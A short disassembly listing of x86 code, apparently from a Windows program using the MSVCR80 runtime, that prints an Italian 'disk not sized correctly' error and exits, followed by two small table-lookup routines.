mov eax, dword [0x5711a0]
test eax, eax
je 0x439bbb
cmp eax, 1
je 0x439bca
cmp dword [0x57119c], 0
jne 0x439ba8
push str.Disco_non_dimensionato_correttamente_n
call dword [sym.imp.MSVCR80.dll_printf]
add esp, 4
push 1
call dword [sym.imp.MSVCR80.dll_exit]
mov eax, dword [esp + 4]
add esp, 4
add esp, 4
ret
mov eax, dword [esp + 8]
add esp, 4
mov eax, dword [eax*4 + 0x54a9e8]
ret
mov eax, dword [esp + 8]
add esp, 4
mov eax, dword [eax*4 + 0x54aa60]
ret